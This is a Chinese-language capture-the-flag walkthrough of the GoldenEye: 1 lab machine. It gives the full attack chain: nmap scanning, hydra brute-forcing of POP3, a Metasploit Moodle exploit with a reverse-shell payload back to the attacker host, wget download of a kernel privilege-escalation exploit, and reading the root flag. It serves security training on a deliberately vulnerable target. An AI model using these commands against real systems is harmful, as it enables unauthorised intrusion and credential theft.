GoldenEye: 1
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.223
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.223
服务80端口开放的http服务
根据提示访问/sev-home/页面
结果立马弹出来一个登录弹窗
4,查看页面源代码
view-source:http://192.168.23.223/terminal.js
根据页面可以得到信息:
InvincibleHack3r
解密得到用户登录密码
用户名boris、natalya
密码:InvincibleHack3r
5,登录成功
GoldenEye (黄金眼)
GoldenEye 是一个绝密的苏联原始武器项目。既然您有访问权限,那么您肯定拥有绝密许可,并有资格成为经过认证的 GoldenEye 网络运营商 (GNO)
请向合格的 GNO 主管发送电子邮件,以接受在线 GoldenEye作员培训,成为 GoldenEye 系统的管理员
请记住,由于通过隐匿性实现安全性非常有效,因此我们将 pop3 服务配置为在非常高的非默认端口上运行
根据提示就能够推测pop服务运行在nmap扫描得到的55007端口上。并且查看页面源代码得到:
view-source:http://192.168.23.223/sev-home/
6,将两个用户名(boris,natalya)保存到文件user.txt中,使用hydra爆破这两个用户登录pop的密码
hydra命令参数
- -s:指定端口
- 192.168.23.223:ip地址不加参数 直接写
- pop3:服务名字不加参数 直接写
- -L:字典文件
- -v:显示详细信息
hydra 192.168.23.223 -s 55007 pop3 -L user.txt -P /usr/share/wordlists/fasttrack.txt -v
成功破解出来账户密码
login: natalya password: bird
login: boris password: secret1!
用nc连接pop3服务,登录这两个账号查看邮箱里面的邮件信息
nc 192.168.23.223 55007
user natalya
pass bird
list
retr 1
user boris
pass secret1!
list
retr 1
得到提示如下:
- 用户名 alec
- 网站用户名密码(不是邮箱用户名密码) xenia/RCP90rulez!
- 设置本机系统host文件添加一行内容为 192.168.23.223 severnaya-station.com
7,访问网站域名severnaya-station.com。
Loading... 在这个页面尝试登录
账户密码就用此前收集到的,登录成功
在My profile——Messages——选择Recent conversations看到一个doak发来的消息,得到新的邮箱用户名doak
得到的信息,然后使用hydra爆破出来用户登录账户密码
- 邮件用户名:doak
- cms版本:moodle 2.2.3
hydra 192.168.23.223 -s 55007 pop3 -l doak -P /usr/share/wordlists/fasttrack.txt -v
再次登录邮件服务器查看信息
得到用户名密码dr_doak/4England!
8,登录这个用户
在"Home"-->"My profile"-->"My private files"找到了s3cret.txt
得到重要提示
007,
我能够通过明文 txt 捕获此应用程序 adm1n cr3ds。
GoldenEye 服务器中大多数 Web 应用程序中的文本都会被扫描,因此我无法在此处添加 cr3dentials。
这里有一些有趣的东西:/dir007key/for-007.jpg
另外,您可能知道,RCP-90 远优于任何其他武器,而 License to Kill 是唯一的游戏方式。
9,尝试下载/dir007key/for-007.jpg图片并分析
wget http://severnaya-station.com/dir007key/for-007.jpg
strings for-007.jpg
得到eFdpbnRlcjE5OTV4IQ==
base64解密得到xWinter1995x! 猜测是admin的密码了
10,然后再在网站登录admin用户
whatweb -v Loading...
检索moodle这个框架的版本漏洞
searchsploit moodle 2
漏洞攻击前需要在设置中修改: Home ——Site administration——Plugins——Text editors——TinyMCE HTML editor 来到此处,修改PSpellShell然后save!否则会失败
11,启动melasploit
msfconsole
search moodle
use 1
set username admin
set password xWinter1995x!
set rhost severnaya-station.com
set targeturi /gnocertdir
set payload cmd/unix/reverse
set lhost 192.168.23.182
exploit
成功getshell打进服务器网站,然后python启动一个交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
12,查看内核版本,期望通过过低的内核版本来获取公开的exp以实现权限提升
searchsploit local privilege Escalation |grep "Kernel 3"
这里使用37292.c
searchsploit -m 37292.c
这个靶场在枚举信息知道:无法进行GCC编译,需要编译脚本的工具为cc
vim 37292.c
第143行将gcc改为cc
然后在本目录下开启http服务:python -m http.server
去往/tmp目录下下载脚本
wget http://192.168.23.182:8000/37292.c
成功下载后执行cc编译:
cc -o exp 37292.c
错误原因分析
1. unshare 函数报错
- 错误信息:implicit declaration of function ‘unshare’
- 原因:unshare 是Linux特有的系统调用,需要包含头文件 <sched.h>,并启用GNU扩展宏 _GNU_SOURCE。
- 解决方案:
#define _GNU_SOURCE // 启用GNU扩展(必须放在文件最顶部)
#include <sched.h> // 包含 unshare 和 clone 的声明
2. clone 函数报错
- 错误信息:implicit declaration of function ‘clone’; did you mean ‘close’?
- 原因:clone 函数同样依赖 <sched.h> 和 _GNU_SOURCE 宏。
- 额外检查:clone 的函数签名是否正确?
int clone(int (*fn)(void *), void *stack, int flags, void *arg, ...);
3. waitpid 和 wait 函数报错
- 错误信息:implicit declaration of function ‘waitpid’ 和 implicit declaration of function ‘wait’
- 原因:未包含进程等待相关头文件 <sys/wait.h>。
- 解决方案:
#include <sys/wait.h> // 提供 waitpid 和 wait 的声明
完整修复步骤
- 在代码最顶部添加宏定义:
#define _GNU_SOURCE // 必须放在所有头文件包含之前 - 补充缺失的头文件:
#include <sched.h>
#include <sys/wait.h> - 检查函数参数(如clone):
- 确保 clone 的第一个参数是函数指针,且函数签名匹配:
int child_exec(void *arg); // 子进程执行函数需定义为这种形式
- 确保 clone 的第一个参数是函数指针,且函数签名匹配:
- 编译命令:
- 添加 -Wall 和 -Wextra 显示详细警告:
gcc -Wall -Wextra 37292.c -o output - 若涉及线程,可能需要链接 -lpthread。
- 添加 -Wall 和 -Wextra 显示详细警告:
cc -o exp 37292.c
chmod +x exp
./exp
id
cat /root/.flag.txt
成功提权并且获取到flag